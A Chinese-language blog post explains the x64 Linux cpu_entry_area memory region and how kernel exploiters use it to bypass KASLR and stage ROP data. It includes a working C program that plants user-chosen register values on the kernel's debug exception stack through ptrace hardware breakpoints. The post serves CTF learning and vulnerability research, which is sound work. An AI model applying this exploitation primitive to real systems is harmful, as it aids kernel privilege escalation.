x64 Linux 虚拟内存分布图

前段时间做linux内核pwn时,碰到一个很有意思的虚拟内存区域 —— cpu_entry_area mapping(0xfffffe0000000000~ 0xfffffe7fffffffff)。这个区域未开启随机化,在利用时可以用来:

  1. 泄露内核代码段地址信息,绕过KASLR
  2. 地址空间有可写部分,rop等数据可以布置到该空间
  3. 0xfffffe0000010f58可作为栈迁移的目的地(DB exception stack),需结合硬件断点(hardware breakpoint)和DB异常(debug exception)

这么强大的一个区域居然从来没关注过,来看看linux官方给出的虚拟内存分布图,会不会还存在一些尚未关注到的危险区域呢?

image-20230705003923041

为了了解以上各区间存在的意义及其特性,新起这篇博客专门记录学习过程,一点点更新。

user-space virtual memory

用户空间的虚拟内存空间,每个进程都有自己独立的内存空间,struct mm_struct

cpu_entry_area mapping

区间:0xfffffe0000000000 ~ 0xfffffe7fffffffff

大小:2 TB

随机化:从linux 6.2开始,对cpu_entry_area做了随机化,早期版本无随机化。但未对idt区域随机化,因此,依然可以通过这个位置泄露内核地址。

内容:存放IDT表和n个 struct cpu_entry_area结构体,每个cpu对应一个cpu_entry_area结构体。以linux5.15.119为例,结构体定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct cpu_entry_area {
char gdt[PAGE_SIZE];

struct entry_stack_page entry_stack_page;

struct tss_struct tss;

#ifdef CONFIG_X86_64
/*
* Exception stacks used for IST entries with guard pages.
*/
struct cea_exception_stacks estacks;
#endif

struct debug_store cpu_debug_store;

struct debug_store_buffers cpu_debug_buffers;
};

可以看到,结构体中包含:

  • the GDT
  • the entry stack :每个cpu有一个,用于处理用户态到内核的上下文切换。
  • the TSS
  • the exception stacks :cpu处理某些中断和异常时会用到这里面的栈,一共有7种类型。对应到tss_struct结构体种的tss->x86_tss.ist[7],即Interrupt Stack Table 中断栈表(IST)。
  • debug stores and buffers

该结构体在整个mapping区域布局如下图所示(老版本内核的偏移跟这个不一样,DB_stack\DF_stack等栈大小是0x1000):

image-20230705155603586

在漏洞利用中需要关注的是exception stacks中DB_stack这段,它是内核空间的地址,同时用户态也能将数据布置到上面。用户态通过ptrace为子进程设置硬件断点,并在子进程中触发该硬件断点,便能将此时子进程的寄存器内容压入DB_stack中。

代码层面如何操作呢?如下代码可将用户态寄存器数据布置到cpu_entry_area的DB stack中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/user.h>
#include <stddef.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sched.h>

pid_t hbp_pid;
int status;
char buf[0x10];

// 创建hardware breakpoint
void create_hbp(void* addr)
{
//Set DR0: HBP address
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(hbp_pid,9);
exit(1);
}
/* Set DR7: bit 0 enables DR0 breakpoint. Bit 8 ensures the processor stops on the instruction which causes the exception.
* bits 16,17 means we stop on data read or write. Bits 18,19 say we watch 4 bytes. Why 4 bytes? Well, it's convenient to
* hit 4 DB exceptions per syscall. Why not 8 bytes? Because 4 bytes works fine. */
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(hbp_pid,9);
exit(1);
}
}

int main(){

// 1. fork a child process
hbp_pid = fork();

// 2. child process
if(hbp_pid == 0){
/* bind cpu */
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1,&mask);
sched_setaffinity(0,sizeof(mask),&mask);

ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP); // 生成一个SIGSTOP信号,当前进程child停止运行

__asm__(
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov rbp, 0xeeeeeeee;"
"mov rbx, 0xbbbbbbbb;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"mov rax, 0xaaaaaaaa;"
"mov rcx, 0xcccccccc;"
"mov rdx, 0xdddddddd;"
"mov rsi, buf;"
"mov rdi, [rsi];"
);
exit(1);
}

// 3. father process
waitpid(hbp_pid,&status,0); // 确定子进程中raise(SIGSTOP)已执行完毕

create_hbp(buf);

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0); // 确定子进程触发到了硬件断点,进入trap

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0); // 确定子进程已退出执行,这个PTRACE_CONT和waitpid可以省略。进入trap后,寄存器信息已带入cpu_entry_area的DB stack中

// 4. enter kernel, get data

return 0;
}

以上程序执行完毕后,调试查看内核信息,成功将用户态数据放入DB stack

image-20230705192354954

参考:

P0: Exploiting CVE-2022-42703 - Bringing back the stack attack

pray77: 跟cpu_entry_area相关的一个题 - sycrop和sycrpg

veritas501: 一种借助硬件断点的提权思路分析与演示

sholck: cea区域前0x1000空间映射到 IDT table

stackexchange - what is cpu_entry_area?

Kernel stacks on x86-64 bit

参考文章

Linux内核 物理内存映射